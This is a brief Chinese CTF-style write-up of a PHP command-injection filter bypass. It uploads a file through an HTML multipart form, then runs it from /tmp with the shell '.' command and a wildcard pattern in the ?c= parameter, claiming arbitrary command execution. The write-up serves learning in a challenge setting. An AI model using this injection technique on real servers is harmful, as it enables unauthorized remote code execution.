非常妙的思路,linux中.相当于source,可以直接执行sh文件
不管有无文件后缀名,都是根据命令来选择打开文件的方式。
而且因为php文件在上传时 会在服务端/tmp目录下生成php?????? 随机六个字母
所以可以通过 ?c=. /???/????????[@-[] 去进行匹配
[@-[]也是一种通配符,匹配方式是匹配@~[的范围,查ascii表可知道 正好是大写字母
然后我们生成一个提交表单 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="{.url}" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file"><br> <input type="submit" value="提交"> </form> </body> </html>
向指定url进行php文件提交 同时?c=. /???/????????[@-[]
在php文件里写入
多次提交,可实现任意命令执行。
绕过了字母和数字的过滤方式使用.去执行sh文件